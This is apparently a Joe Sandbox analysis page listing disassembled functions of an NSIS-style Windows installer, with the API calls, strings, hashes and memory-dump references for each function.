Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcesses, xrefs: 00406482
Module32FirstW, xrefs: 004065D3
PSAPI.DLL, xrefs: 00406464
Unknown, xrefs: 004064FC
CreateToolhelp32Snapshot, xrefs: 004065B5
Module32NextW, xrefs: 004065DE
Process32NextW, xrefs: 004065C8
Process32FirstW, xrefs: 004065BD
EnumProcessModules, xrefs: 0040648A
GetModuleBaseNameW, xrefs: 00406494
Kernel32.DLL, xrefs: 0040659B

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
open, xrefs: 004042DF
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
